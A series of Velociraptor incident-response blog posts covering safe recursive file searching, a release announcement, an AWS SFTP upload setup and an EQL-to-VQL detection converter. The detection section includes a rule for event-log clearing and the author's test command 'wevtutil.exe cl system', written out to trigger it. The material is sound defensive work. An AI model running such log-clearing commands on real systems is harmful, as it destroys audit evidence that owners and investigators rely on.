The Log4j vulnerability has been published in December 2021. Due to the high severity and ease of exploitation many blue teamers scrambled to identify the presence of vulnerable software on servers. A myriad of scripts and single use tools were published that could search the filesystem for vulnerable jar files (e.g. find based scripts yahoo/check-log4j, rubo77/log4j_checker_beta, Go based palantir/log4j-sniffer ).

I wanted to share some of the potential pitfalls that one may encounter searching the filesystem in the real world. In particular some of these issues may present performance problems so should be kept in mind when writing custom one off scripts, or new Velociraptor artifacts.

Following Symlinks

A symbolic link is a special type of filesystem object which points at another file or directory. When walking the files in a directory, one needs to decide if to follow the symbolic link or not.

If one follows the symbolic link and recurse into a directory which a link points to, there is a danger that the link points back to a higher place in the directory tree, leading to a symbolic link cycle.

A program that blindly follows links may become trapped in a symbolic link cycle. This is particularly problematic when recursing through the /proc filesystem, which contains links to / (e.g. a process’s working directory).

For example the below snippet can be seen with find, when instructed to follow symbolic links:

# find -L /proc
/proc/self/task/1702267/root/lib/modules/5.11.0-44-generic/build/include/config/memstick/realtek
/proc/self/task/1702267/root/lib/modules/5.11.0-44-generic/build/include/config/memstick/realtek/usb.h
/proc/self/task/1702267/root/lib/modules/5.11.0-44-generic/build/include/config/memstick/realtek/pci.h
/proc/self/task/1702267/root/lib/modules/5.11.0-44-generic/build/include/config/hid.h
/proc/self/task/1702267/root/lib/modules/5.11.0-44-generic/build/include/config/alim7101
/proc/self/task/1702267/root/lib/modules/5.11.0-44-generic/build/include/config/alim7101/wdt.h
/proc/self/task/1702267/root/lib/modules/5.11.0-44-generic/build/include/config/snd.h

Such a program will never complete because each item in proc will cause find to recurse through the entire filesystem until recursively entering /proc again!

This is particularly dangerous when running this program remotely using a tool that has no ability to constrain the time, CPU usage or returned rows of external programs. This can lead to huge CPU consumption on the target system and spinning out of control programs.

This is probably the reason why find’s default behavior is to not follow symbolic links. However if not following symbolic links it is possible to miss important files (for example many servers contain symlinks to data drives so starting a find from /var/www might miss files).

Velociraptor’s glob() plugin does follow links by default, but keeps track of visited inodes in order to detect cycles. This can still lead to unintended loops especially when recursing through the /proc filesystem.

Remote filesystems

Many servers have distributed filesystems mounted at various points in the filesystem. Running a large recursive search may recurse into these remote filesystems which may be absolutely huge. Recursing into these remote files can also lead to very long network delays essentially preventing the search from completing at all!

It is difficult to predict in advance where remote filesystems are mounted - especially when running a search on an unknown server. (This situation is also present when mounting a filesystem over fuse for example, a vmware shared folder).

The find command has a -xdev option that restricts searching to a single filesystem. This flag ensures that find does not recurse into remote mounted filesystems. As an added bonus -xdev also prevents recursing into the /proc filesystem (which can be problematic as described above)

Unfortunately many Unix systems have separate partitions for /home, /usr or /boot and so preventing recursion into other filesystems can prevent finding files in those partitions.

In Linux it is possible to create a bind mount using the --bind flag to mount another directory again inside a mount point directory. This is similar to a symlink in the sense that it may point further up the directory tree creating extra work for the find command.

For example:

# mkdir /root/bount
# mount --bind / /root/bound/
# find /root/
...
/root/bound/usr/i686-w64-mingw32/lib/libcabinet.a
/root/bound/usr/i686-w64-mingw32/lib/binmode.o
find: File system loop detected; ‘/root/bound/root’ is part of the same file system loop as ‘/root/’.

The find command is able to detect these kinds of filesystem loops and not get trapped but a custom program may not.

The glob plugin

Velociraptor’s glob() plugin is the usual way that file searching is implemented. Conceptually it is simple, to use - just provide a wildcard expression and the glob plugin returns all the files that match it. For example, one might be tempted to run the following query looking for files with the .pem extension:

SELECT FullPath
FROM glob(globs="/**/*.pem")

On Linux such a query might encounter some problems! The glob() plugin by default follows symlinks and as soon as the glob plugin enters the /proc directory the plugin will likely encounter a symlink further up the filesystem (usually back to /) and continue recursing through that.

Recursing through the /proc filesystem

We can disable following symlinks using the nosymlink option to glob. However this query will also take a very long time on this system:

Recursing into a network mount

This test system has a large remote filesystem mounted on /shared/ so any recursion into that directory will be very slow.

Excluding recursion into certain directories

Supposed that in this case we don’t really care about remote filesystems, we just want to search for pem files in the local system. We know that certain directories should be excluded so we might be tempted to write a query like:

SELECT FullPath
FROM glob(globs="/**/*.pem")
WHERE NOT FullPath =~ "^/(proc|shared)"

This query uses a WHERE clause to filter out any paths starting with /proc or /shared. While this seems reasonable it does not work! Thinking back to how VQL works (See Life of a Query ), the glob() plugin will expand the full glob into the query, and the WHERE clause simply filters out non-matching rows. Therefore glob() will still get stuck in proc or shared as before!

We need a way to tell the glob plugin itself not to recurse into certain directories at all to save the unnecessary work. Since 0.6.3 the glob() plugin can accept a recursion_callback argument. This is a VQL lambda function that receives the full row and return a boolean to decide if the directory should be recursed into. If the lambda returns FALSE, the glob plugin does not bother to enter the directory at all, therefore saving a lot of effort.

Controlling recursion in the glob plugin

In the above example, we used the VQL lambda returning true only for directories that have a path not starting with shared or proc or snap:

x => NOT x.FullPath =~ '^/(shared|proc|snap)'

More powerful recursion callbacks

While controlling recursion using the directory path works well on this system, we typically want to develop a more generalized solution that we can apply to more systems. Ultimately, we can not predict where various filesystems are mounted based on the path, but we just want to ensure that we do not recurse into remote filesystems, or virtual filesystems.

The recursion_callback mechanism is very flexible and allows us to choose arbitrary conditions to control the recursion. Can we determine what type of filesystem a particular file resides on?

On Linux, the stat filesystem call returns a device field. You can see this with a simple stat shell command:

# stat /etc/passwd
   File: /etc/passwd
   Size: 2292            Blocks: 8          IO Block: 4096   regular file
Device: fd00h/64768d    Inode: 540077      Links: 1
Access: (0644/-rw-r--r--)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2022-01-06 22:08:44.793600319 +1000
Modify: 2021-12-09 17:19:40.768596398 +1000
Change: 2021-12-09 17:19:40.768596398 +1000
 Birth: 2021-12-09 17:19:40.768596398 +1000

The Device field is actually broken into two parts - the device major part and the device minor part (8 bits each). These correspond to the device shown in /dev/ (fd00 represents major 0xfd (253) and minor 0):

# ls -l /dev/dm-0
brw-rw-r-- 1 root disk 253, 0 Jan  6 01:55 /dev/dm-0

The device major number represents the device driver that is responsible for this filesystem, listed in /proc/devices:

Block devices:
  7 loop
  8 sd
  9 md
 11 sr
 65 sd
 66 sd
 67 sd
 68 sd
 69 sd
 70 sd
 71 sd
128 sd
129 sd
130 sd
131 sd
132 sd
133 sd
134 sd
135 sd
253 device-mapper
254 mdp
259 blkext

The glob plugin can provide filesystem specific information in the Data column:

Device major and minor numbers

Major numbers larger than 7 are considered “local”. The following query can therefore stay on the locally attached devices excluding the loopback mounted filesystems:

SELECT FullPath
FROM glob(globs='/**/*.pem',
          recursion_callback='x=>x.IsLink OR x.Data.DevMajor > 7')

This query is very efficient, following links but skipping /proc, remote filesystems but covering additional attached storage. We do not need to rely on guessing where remote filesystems are mounted, and excluding only those directories, instead limiting recursion to the type of device hosting the filesystem.

Conclusions

Searching files on the filesystems seems like a simple operation, but can represent a number of pitfalls - particularly when run against Linux system with unusual configuration. Not considering these issues may result in runaway processes and severe load on the target systems.

It is difficult to predict how much work a recursive search will perform so tools should have safety built in, such as timeouts (Velociraptor’s default 600 second timeout will cancel the search), limits on number of rows returned or directory traversal depth limitation (Velociraptor’s glob expressions can specify a recursion depth).

The find commandline tool has some safety mechanisms built in such as cycle detection, in addition to the -xdev option limiting recursion to a single filesystem. Any custom code needs to replicate these mechanisms.

Velociraptor’s glob() plugin has fine grained controls allowing coverage of only a small set of filesystem types, or mount points. This allows Velociraptor to safely search the entire system for files balancing coverage with the risk following symlinks.

Velociraptor 0.6.3 Release

Wed, 05 Jan 2022 00:00:00 +0000

I am very excited to announce the latest Velociraptor release 0.6.3. This release has been in the making for a few months now and has a lot of new features.

The main focus of development since our previous release was around scalability and speed. Working with some of our larger partners on scaling Velociraptor to a large number of endpoints, we have addressed a number of challenges, which I believe have improved Velociraptor for everyone at any level of scale!

Performance running on EFS

Running on a distributed filesystem such as EFS presents many advantages, not the least of which is removing the risk that disk space will run out! Many users previously faced disk full errors when running large hunts and accidentally collecting too much data from endpoints! Since Velociraptor is so fast, it is easy to do a hunt collecting a large number of files and then pretty soon the disk is full.

Using EFS removed this risk since storage is essentially infinite (but not free). So there is a definite advantage to running the data store on EFS even when not running multiple frontends. When scaling to multiple frontends, EFS use is essential to facilitate as a shared distributed filesystem among all the servers.

However, EFS presents some challenges. Although conceptually EFS behaves as a transparent filesystem, in reality the added network latency of EFS IO was causing unacceptable performance issues.

In this release we employed a number of strategies to improve performance on EFS (and potentially other distributed filesystems e.g. NFS). You can read all about the new changes here, but the gist of it is that added caching and delayed writing strategies help to isolate the GUI performance from the underlying EFS latency, making the GUI snappy and quick even with slow filesystems.

I encourage everyone to test the new release on an EFS backend, to assess the performance on this setup - there are many advantages to this configuration. While this configuration is still considered experimental it is running successfully in a number of environments.

Searching and indexing

More as a side effect of the EFS work, Velociraptor 0.6.3 moves the client index into memory. This means that searching for clients by DNS name or labels is almost instant, much improving the performance of these operations over previous version.

VQL queries that walk over all clients, are now very fast as well. For example the following query iterates over all clients (maybe thousands!) and checks if their last IP came from a particular subnet:

SELECT * , split(sep=":", string=last_ip)[0] AS LastIp
FROM clients()
WHERE cidr_contains(ip=LastIp, ranges="192.168.1.0/16")

This query will complete in a few seconds even with a large number of clients.

The GUI search bar can now search for IP addresses (e.g. ip:192.168*), and the online only filter is much faster as a result!

Searching is much faster

Another benefit of rapid index searching is that we can now quickly estimate how many hosts will be affected by a hunt (calculated based on how many hosts are included and how many are excluded from the hunt). When users have multiple label groups this helps to quickly understand how targeted a specific hunt is.

Estimating hunt scope

Regular expressions and Yara rules

Velociraptor artifacts are just a way of wrapping a VQL query inside a YAML file for ease of use. Artifacts accept parameters that are passed to the VQL itself controlling how it runs.

Velociraptor artifacts accept a number of parameters of different types. Sometimes, they accept a windows path - for example the Windows.EventLogs.EvtxHunter artifact accepts a Windows glob path like %SystemRoot%\System32\Winevt\Logs\*.evtx. In the same artifact, we also can provide a PathRegex which is a regular expression.

A regular expression is not the same thing as a path at all, and in fact when users get mixed up providing something like C:\Windows\System32 to a regular expression field, this is an invalid expressions - backslashes have a specific meaning in a regular expression!

In 0.6.3 there are now dedicated GUI elements for Regular Expression inputs. Special regex patterns such as backslash sequences are visually distinct. Additionally the GUI verifies that the regex is syntactically correct and offers suggestions. Users can type ? to receive further regular expression suggestions and help them build their regex.

Entering regex in the GUI

To receive a RegEx GUI selector in your custom artifacts, simply denote the parameter’s type as regex.

Similarly other artifacts require the user enter a Yara rule to use the yara() VQL plugin. The Yara domain specific language (DSL) is rather verbose so even for very simple search terms (e.g. a simple keyword search) a full rule needs to be constructed.

To help with this task, the GUI now presents a specific Yara GUI element. Users can press ? to automatically fill in a skeleton Yara rule suitable for a simple keyword match. Additionally, syntax highlighting gives visual feedback to the validity of the yara syntax.

Entering Yara Rules in the GUI

Some artifacts allow file upload as a parameter to the artifact. This allows users to upload larger inputs for example a large Yara rule-set. The content of the file will be made available to the VQL running on the client transparently.

To receive a RegEx GUI selector in your custom artifacts, simply denote the parameter’s type as yara. To allow uploads in your artifact parameters simply denote the parameter as a upload type. Within the VQL, the content of the uploaded file will be available as that parameter.

Overriding Generic.Client.Info

When a new client connects to the Velociraptor server, the server performs an Interrogation flow by scheduling the Generic.Client.Info artifact on it. This artifact collects basic metadata about the client such as the type of OS it is, the hostname, the version of Velociraptor etc. This information is used to feed the search index and is also displayed in the “VQL drilldown” page of the Host Information screen.

In the latest release it is possible to customize the Generic.Client.Info artifact and Velociraptor will use the customized version instead to interrogate new clients. This allows users to add more deployment specific collections to the interrogate flow and customize the “VQL drilldown” page. Simply search for Generic.Client.Info in the View Artifact screen and customize as needed.

Root certificates are now embedded

By default Golang searches for root certificates from the running system so it can verify TLS connections. This behavior caused problems when running Velociraptor on very old unpatched systems that did not receive the latest Let’s Encrypt Root Certificate update. We decided it was safer to just include the root certs in the binary so we do not need to rely on the OS itself.

Additionally Velociraptor will now accept additional root certs embedded in its config file (Just add all the certs in PEM format under the Client.Crypto.root_certs key in the config file). This helps deployments that must use a MITM proxy or traffic inspection proxies.

When adding a Root Certificate to the configuration file, Velociraptor will treat that certificate as part of the public PKI roots - therefore you will need to have Client.use_self_signed_ssl as false.

This allows Velociraptor to trust the TLS connection - however, bear in mind that Velociraptor’s internal encryption channel is still present! The MITM proxy will not be able to actually decode the data nor can it interfere with the communications by injecting or modifying data. Only the outer layer of TLS encryption can be stripped by the MITM proxy.

VQL Changes

Glob plugin improvements

The glob plugin now has a new option: recursion_callback. This allows much finer control over which directories to visit making file searches much more efficient and targeted. To read more about it see Searching for files.

Notable new artifacts

Many people use Velociraptor to collect and hunt for data from endpoints. Once the data is inspected and analyzed, often the data is no longer needed.

To help with the task of expiring old data, the latest release incorporates the Server.Utils.DeleteManyFlows and Server.Utils.DeleteMonitoringData artifacts which allow users to remove older collections. This helps to manage disk usage and reduce ongoing costs.

Conclusions

SFTP in AWS

Mon, 20 Dec 2021 00:00:00 +0000

Many people use Velociraptor’s offline collector feature to collect any artifacts without having the Velociraptor client actually installed on the endpoint. While the offline collector feature is great to interactively triage a machine, the produced collection zip file is normally quite large and unwieldy to transfer.

To help with this, Velociraptor offers the option to send the file back to the cloud via a number of mechanisms, including upload to S3 buckets directly, WebDAV upload and using Secure FTP (sftp).

One of the challenges with automatic uploading to the cloud is securely configuring the upload mechanism. Since the credentials for any upload service are embedded inside the collector, it is important to ensure that these credentials have minimal additional permissions.

For example, when using a cloud bucket to collect triage data from endpoints, the bucket policy must be configured to allow a service account full write access. However, using these credentials should not allow anyone to list existing bucket resources, or to download critical triage data from other hosts!

I have previously described how to use Google cloud’s service accounts to upload to a GCP bucket securely.

In this post I describe how to set up Amazon’s SFTP transfer service to securely allow the Velociraptor collector to upload files without granting the collector permission to download the files again, delete them or discover other uploads in the bucket.

I would like to thank Simon Irwin from Rapid7 for his assistance and guidance with AWS - I am certainly not an expert and needed a lot of help figuring this process out. This is one of the reasons I wanted to document the process in order to save others time.

Overview

The main AWS service I will use is the AWS Transfer Family documented extensively on the AWS documentation site.

In a nutshell, the service requires creating an sftp transfer server backed by an S3 bucket. The SFTP server does not use real usernames for authentication, but rather throwaway usernames I create just for that service.

Each of these throwaway sftp users are given an SSH key pair (public and private keys) which they use to authenticate with the service. The private key will be embedded in the Velociraptor collector and allow the collector to upload to the service. However, by setting up restrictive policies I can limit the permissions of the sftp user.

Creating an AWS bucket

I will begin by creating an S3 bucket called velociraptor-test that will contain all the collector files uploaded from the endpoints.

Creating an S3 bucket

AWS Policies

AWS controls access via roles and policies. For this configuration I will need to create two policies:

The first policy I will call velociraptor-upload-policy grants full access to the AWS transfer service with full use of the provided s3 bucket.
The second policy I will call velociraptor-sftp-upload-only policy will apply to the sftp user and only grant upload permissions.

velociraptor-upload-policy

This policy grants full access to the new bucket I created earlier.


{
  "Version": "2012-10-17",
  "Statement": [
  {
    "Effect": "Allow",
    "Action": [
      "s3:PutObject",
      "s3:GetObject",
      "s3:ListBucket",
      "s3:DeleteObject",
      "s3:PutObjectAcl"
    ],
    "Resource": [
       "arn:aws:s3:::velociraptor-test",
       "arn:aws:s3:::velociraptor-test/*"
    ]
  }
 ]
}

velociraptor-sftp-upload-only

This policy only grants upload rights

{
"Version": "2012-10-17",
"Statement": [
  {
    "Sid": "AllowListingOfUserFolder",
    "Action": [
      "s3:ListBucket"
    ],
    "Effect": "Allow",
    "Resource": [
      "arn:aws:s3:::${transfer:HomeBucket}"
     ],
    "Condition": {
      "StringLike": {
          "s3:prefix": [
              "${transfer:HomeFolder}/*",
              "${transfer:HomeFolder}"
          ]
      }
    }
  },
  {
    "Sid": "HomeDirObjectAccess",
    "Effect": "Allow",
    "Action": [
      "s3:PutObject",
      "s3:PutObjectACL"
    ],
    "Resource": "arn:aws:s3:::${transfer:HomeDirectory}*"
  }
]
}

I found that I needed to give the s3:ListBucket permission in order to upload files - this seems a bit strange to me but I could not get upload to work without this permission. Despite having this permission, it is still not possible to actually list the files in the bucket anyway.

AWS Roles

An AWS role is a set of policies that applies to a particular service. In this case I will create a new role that allows uploading to the s3 bucket I created. Search for the IAM screen in the AWS console and select “Create a new role”.

In the first step, the UI asks us to associate the role with a service, Select the Transfer as the service.

Creating a new role

Next associate the role with the velociraptor-upload-policy policy. I will name the role velociraptor-upload-role.

Creating a new role - associating with policy

Creating the SFTP server

Now I need to create an sftp server in the Transfer service. Search for the AWS Transfer Family screen and select “Create Server”. I will choose this to be an SFTP server.

Creating the sftp server

The identity provider is “Service managed” - this means I will manage the sftp users with throwaway ssh keys.

Creating the sftp server - Identity Providers

Finally I will choose S3 to be our storage backend

Creating the sftp server - Backend storage

Once the server is created, the AWS console will remind us that no users are added to the service yet. This will be our next task…

Creating the sftp server - Success!

Adding SFTP users to the sftp server.

Our ultimate goal is to create throw-away sftp users which can authenticate to the service with an SSH key pair and upload triage files.

I will now create an SSH key pair on my machine - this will contain a private key and a public key (Note: do not protect these keys with a passphrase):

Generating SSH key pair for the new sftp user

In the AWS console I select the new server and click on “Add user” to add a new user.

Adding a new SFTP user

I will add the velociraptor-upload-role role I created earlier to this sftp user, allowing the user to interact with the s3 bucket.

I will now also add a scope down policy to further restrict the access this user has to upload only by selecting the velociraptor-sftp-upload-only policy.

Next I will add the user’s public key to the AWS console’s configuration by simply pasting the public key I generated earlier.

Adding a new SFTP user’s public keys

Finally I create the new user with the name velouploader

In our example I created a user with an upload only policy that could not read any of the files in the bucket. However, you can also create a user with full access to the bucket by removing the scope down policy or apply a different policy per user.

This is convenient to allow the investigator the ability to download the collected files by creating a separate sftp user for them without a scope-down policy.

Testing access controls

It is imperative to ensure that access controls are working the way they are supposed to! Therefore I will now test my setup using the built in sftp client in my operating system (I can find the endpoint’s public DNS name using the AWS console).

sftp -i sftpuser.key velouploader@s-9d35031a046643d88.server.transfer.us-east-2.amazonaws.com

Testing ACLs

At first I upload a small file and confirm it works as expected. Then I try to list the directory, and read the file out again - both attempts fail due to the scope down policy.

Finally attempting to overwrite the old file by re-uploading the same file again, also fails.

Creating an SFTP Offline Collector

I am now ready to create our offline collectors. I will login to Velociraptor’s web UI and navigate to Server Artifacts screen. Once there I click the Build Offline Collector button. For this example, I will create a collector using the Windows.KapeFiles.Targets artifact and just collect the $MFT file.

Creating an offline collector

Now I will configure the collector to use the SFTP upload method, giving the username I created earlier and pasting the private key I generated.

Configuring the offline collector for SFTP uploads

I selected the collection method to SFTP which changes the form to allow for more parameters to be specified:

The Private key is the file I generated earlier with ssh-keygen - I will just paste the file content into this form.
The user is the sftp user that Velociraptor will log in as.
The Endpoint is the DNS name of the sftp server I created followed by a colon and the port number (usually port 22).

Once the collector is created I am able to run it on a test system.

Running the collector to collect the MFT

As can be seen the upload is mostly fine except there are some features that are not possible due to the restricted permissions. Although, the log file shows a failure the file did successfully upload as can be confirmed in the bucket view.

Verifying files uploaded in the S3 bucket

Conclusions

In this post I examined how to configure a secure SFTP upload service in AWS that can safely receive triage data from the Velociraptor offline collector.

The sftp uploading functionality is actually implemented by the upload_sftp() plugin documented here. This means that you can use this functionality in any VQL query at all - either on the client side or on the server side.

For example it is possible to automatically back up server side hunts or collections to the SFTP bucket.

EQL to VQL - Leverage EQL based detection rules in Velociraptor

Tue, 09 Nov 2021 00:00:00 +0000

This article describes a threat detection approach that has since been superseded by Velociraptor’s built-in Sigma functionality, however it is retained here for historical and instructive purposes since it also demonstrates how the flexibility of VQL makes novel solutions possible.

If you have been following the development of Velociraptor for a while you are probably more than familiar with Velociraptor’s flexible query language (VQL). Because Velociraptor is an agent running on the endpoint, VQL facilitates access to all manners of data sources, from event logs, event tracing for Windows (ETW) to live analysis and triaging - all orchestrated using VQL as the flexible glue language.

While VQL can be used for hunting or detection, many traditional threat hunting platforms work by forwarding logs to a central location and then running queries over the aggregate data from all endpoints. There is a large body of existing work in detection queries or threat intelligence feeds designed to work on top of a central data mining solution such as Elastic or Splunk. We have been wondering for a while how to make use of that existing logic within Velociraptor. By reusing existing detection resources in different contexts, we are able to enhance their overall effectiveness.

In this post we discuss how to leverage detections targeting EQL (an Elastic search query) within Velociraptor. I thought it would also be interesting to discuss the main differences between more traditional logs aggregation solutions (such as Elastic or Splunk) and Velociraptor’s endpoint centric design.

What is EQL anyway?

The Event Query Language (EQL), is a query language designed to identify specific conditions in collected telemetry from endpoints in order to implement detections of anomalous behavior.

EQL forms a central part of the Elastic detection platform and has a large number of existing detection rules. It is also a target for some other threat detection platforms, for example Sigma can generate EQL queries from Sigma rules.

By implementing EQL support for Velociraptor we can leverage the existing resources and use them in a wider context - as we will see below.

How do EQL detections work?

EQL detections are part of the wider Elastic solution - which is pretty typical for traditional centrally processed SIEM based systems:

Events are collected from the endpoint using a collection agent. Commonly the agent is winlogbeat collecting Sysmon generated events, providing process execution logs, file and registry modification events and DNS lookup events.
The data is transformed on the endpoint into a standard data schema for transmission into the Elastic server. EQL relies on the data being in Elastic Common Schema so it can be indexed by the backend.
The transformed data is received on the server and fed into large scale data mining warehouse (e.g. The Elastic search server) where it is aggregated and indexed.
Detection queries are applied on the data mining engine to detect anomalies.

The following diagram illustrates the process

Life of an EQL event

Let’s work through a specific example of a Sysmon event as it works its way through the EQL echo-system, eventually matching the following detection:

process where event.type in ("process_started", "start") and
  (process.name : "wevtutil.exe" or process.pe.original_file_name == "wevtutil.exe") and
    process.args : ("/e:false", "cl", "clear-log") or
   process.name : ("powershell.exe", "pwsh.exe", "powershell_ise.exe") and process.args : "Clear-EventLog"

The above rule is looking for process executions, where the wevtutil.exe program is run with command line arguments matching “cl” or “clear-log” (Or the equivalent powershell)

What happens when I run the command wevtutil.exe cl system on my test system?

Sysmon will detect the process start and write an event into the system event log.

A typical Sysmon Event

Eventually the event will be forwarded to the Elastic stack, detection queries run over it and potentially an alert will be escalated.

Since we know this event will trigger the EQL detection, let’s see how Sysmon event fields are mapped into the ECS fields that the EQL query works on.

Sysmon Field	ECS Field
System.EventID	maps to event.type = “start”
EventData.Image	strip directory part and store in `process.name`
EventData.OriginalFileName	stored in `process.pe.original_file_name`
EventData.CommandLine	is split into array and stored in `process.args`

All the details of how the original Sysmon event fields are transformed to ECS fields can be found coded in winlogbeat-sysmon.js

How can we use EQL detection queries?

So now that we understand how EQL detections work, how can we use the same detection logic in Velociraptor? Velociraptor’s philosophy is that detection should be distributed - rather than forwarding all raw events to a central place for triaging, we wish to be able to do the detection directly on the endpoint.

In order to do this, we need to convert the EQL to VQL that works directly on the raw source event logs as produced by Sysmon - in other words we need to reverse the above transformation from the ECS fields mentioned in the EQL query back to the original event log fields found on the endpoint.

The `eql2vql` project

Let me introduce a new project to automatically convert EQL detection rules to VQL artifacts: https://github.com/Velocidex/eql2vql

The aim of this project is to automatically produce a VQL artifact that parses a set of EQL detection rules into a single VQL artifact. The produced artifact can be used to hunt for notable event log patterns at scale in minutes using Velociraptor’s hunting capabilities!

Let’s take a look at an example to illustrate how it works. I will keep it simple and just convert the single rule defense_evasion_clearing_windows_event_logs.toml containing the sample EQL query above, to create a new VQL artifact

$ python3 parser/eql2vql.py -p SysmonEVTXLogProvider ~/projects/detection-rules/rules/windows/defense_evasion_clearing_windows_event_logs.toml -o /tmp/detection_vql.yaml
Created artifact 'Windows.Sysmon.Detection' with 1 detections

In this case I selected the SysmonEVTXLogProvider as I wanted to search the EVTX files directly on the endpoint.

Let’s take a look at the produced VQL

LET SysmonGenerator = generate(name="Sysmon",
query={
  SELECT * FROM foreach(row={SELECT FullPath FROM glob(globs=EVTXGlob)},
     query={
      SELECT *
      FROM parse_evtx(filename=FullPath)
    })
}, delay=500)

LET ProcessInfo = generate(name="ProcessInfo", query={
   SELECT *,
          basename(path=EventData.ParentImage) AS ParentImageBase,
          basename(path=EventData.Image) AS ImageBase,
          commandline_split(command=EventData.CommandLine) AS CommandArgs,
          get(item=ProcessTypes, field=str(str=System.EventID.Value)) AS event_type
   FROM SysmonGenerator
   WHERE System.EventID.Value in (1, 5)
})

LET ProcessTypes <= dict(`1`="start", `5`="stop")

LET _ClearingWindowsEventLogs = SELECT 'Clearing Windows Event Logs' AS Detection,
       EventData.User AS User,
       EventData.CommandLine AS CommandLine,
       EventData.ParentImage AS ParentImage,
       EventData.Image AS Image,
       EventData.UtcTime AS UtcTime,
       EventData || UserData AS _EventData,
       System AS _System
FROM ProcessInfo
WHERE  (  ( event_type IN ('process_started', 'start' )
  AND  ( ImageBase =~ '^wevtutil\\.exe$' OR EventData.OriginalFileName = 'wevtutil.exe' )
  AND CommandArgs =~ '^/e:false$|^cl$|^clear-log$' )  OR  ( ImageBase =~ '^powershell\\.exe$'
  AND CommandArgs =~ '^Clear-EventLog$' )  )

SELECT * FROM _ClearingWindowsEventLogs

The query is split into two main parts:

The Provider is a set of queries that extract Sysmon EVTX events ready for further filtering. In this case we just read the events from the EVTX files on disk.
The second part of the query implements the detection logic as expressed by the EQL query above.

Let’s test this artifact on our test system that we used previously to run the command wevtutil.exe cl system, I will first add the new artifact to Velociraptor by simply copy/pasting the generated code as a new artifact in the GUI

Adding the new detection artifact

Now I will schedule the artifact for collection on my endpoint

Collecting the new detection artifact

And in literally seconds, I find the system that triggered the rule and the command line that triggered it.

Detecting with the new artifact

To search a large number of hosts, I can start a hunt with this artifact and in minutes find which of my hosts triggered the rule.

Adding more rules

We have seen how the EQL translates to a VQL detection query, but what if we have many rules? Lets convert the entire set of detection rules into a single artifact.

$ python3 parser/eql2vql.py -p SysmonEVTXLogProvider ~/projects/detection-rules/rules/windows/* -o /tmp/detection_vql.yaml
Created artifact 'Windows.Sysmon.Detection' with 165 detections

The new artifact applies all the detection queries simultaneously on all rows from the EVTX files. Collecting it again we have found some new detections!

Detecting with the full set of rules

Real time detections

Velociraptor’s hunting capabilities make it a breeze for actively searching for signed of past compromise on endpoints. However what about real time alerting? It would be nice to receive immediate notification when a detection rule is triggered.

Velociraptor supports real time client monitoring via event queries. Event queries run constantly on the endpoint receiving rows from events.

We have previously explored how Event Queries can be used for real time monitoring and in particular how VQL can leverage Event Tracing for Windows (ETW).

Using EQL detections with real time monitoring

The eql2vql project contains a second provider that reads Sysmon events directly from ETW sources. This bypasses the windows event log system completely, and applies the VQL directly on real time ETW events.

$ python3 parser/eql2vql.py -p SysmonETWProvider ~/projects/detection-rules/rules/windows/defense_evasion_clearing_windows_event_logs.toml -o /tmp/detection_vql.yaml
Created artifact 'Windows.Sysmon.EventDetection' with 1 detections

We have previously discussed how event logs can be turned off or disabled which would interfere with tools that rely on event logs directly. However, ETW sources still work, even if the event log itself is disabled.

This time we have used the SysmonETWProvider to source the Sysmon events directly from Sysmon’s ETW subsystem:

LET SysmonGenerator = generate(name="Sysmon",
query={
  SELECT dict(EventID=dict(Value=System.ID),
              Timestamp=System.TimeStamp) AS System,
         EventData
  FROM watch_etw(guid='{5770385f-c22a-43e0-bf4c-06f5698ffbd9}')
  WHERE get(field="EventData")
}, delay=500)

--- Rest of query is exactly the same as before

The only difference here is that the artifact produced is a client monitoring artifact so it can be installed on all clients permanently, continuously monitoring their Sysmon event source for the same EQL detections. As soon as an EQL rule matches, Velociraptor will emit a single row and send it to the server.

Real time detections

We can escalate such detections, through a number of mechanisms, such as Slack alerts, or escalate to an external case management tool like The Hive . See Server Monitoring for more information.

We can even use the resulting VQL artifact as a base for other queries to provide further enrichment and response capabilities.

The Velociraptor difference

In this blog post we discussed a current effort to port EQL detections to Velociraptor. Being able to automatically convert EQL detection rules into VQL allows us to apply these rules in a wider context - We can hunt a large set of EVTX files for past compromise, or apply the same rules in real time to allow the endpoint to autonomously detect and response without needing to be online or connected to the SIEM.

The main premise of Velociraptor’s value proposition is to push the processing to the endpoint. Instead of feeding all events from thousands of endpoints to a central location and then using a high performance database to churn though thousands of events per second, Velociraptor simply runs the VQL query on each endpoint independently and forwards only those high value detections to the server. This solution scales very well because each endpoint is doing it’s own independent detection and does not need to forward all events to the server. What does get forwarded is a very high value subset of events that typically indicate a successful detection!

Conclusions and further work

We are still working on the EQL to VQL conversion engine. Currently not all EQL syntax is fully converted to VQL yet so some detection rules can not be converted. We hope that with time we build enough coverage to make the conversion as accurate as possible.

Since VQL is a much more capable language with access to a lot more data (since it is running on the endpoint), we hope to build more accurate and powerful detection rules. For example by correlating information from the filesystem, NTFS analysis, Yara scans, memory analysis etc. These capabilities can build on the basic EQL detection rules to help eliminate false positives. At the same time we can draw on the existing body of work in detection rules available with EQL.

We decided to focus on EQL because it is fairly similar to VQL in spirit (both are query languages) so the conversion is a little easier. But there are other sources of threat intelligence such as Sigma which also output to EQL! A good coverage of the EQL capabilities will get us Sigma support as well.

I wanted to write about this effort and have the community help us in testing, further suggestions and other contributions, even in this very early stage. If you would are interested in improving endpoint detection technology, take Velociraptor for a spin! It is available on GitHub under an open source license. As always, please file issues on the bug tracker or ask questions on our mailing list velociraptor-discuss@googlegroups.com. You can also chat with us directly on discord at https://www.velocidex.com/discord

A Closer Look at the Winning Entry in the 2021 Velociraptor Contributor Competition

Wed, 20 Oct 2021 00:00:00 +0000

On Friday October 9 the Velociraptor team crowned the grand prize winner in our 2021 Contributor Competition — unanimously won by Justin Welgemoed. His entry, “File Type Detection and Client-Server-Client Workflows” absolutely WOWed the judges. Want to learn more about Justin’s submission and how it takes Velociraptor to the next level? Read below for a deep dive into his work.

2021 Velociraptor Contributor Competition Entry:

File Type Detection and Client-Server-Client Workflows

Currently most Velociraptor artifacts are written in such a way that they are self-contained and are therefore mostly useful in a standalone manner. In other words the common approach to artifact-writing tends to produce monolithic artifacts which typically have to:

do some kind of targeting logic
do something with the target files (if found)
do something with or about the results

The current approach results in a few downsides and inefficiencies:

some artifacts end up being rather lengthy and difficult to understand at a glance.
there is inevitably a lot of very similar or even duplicated logic across many artifacts.
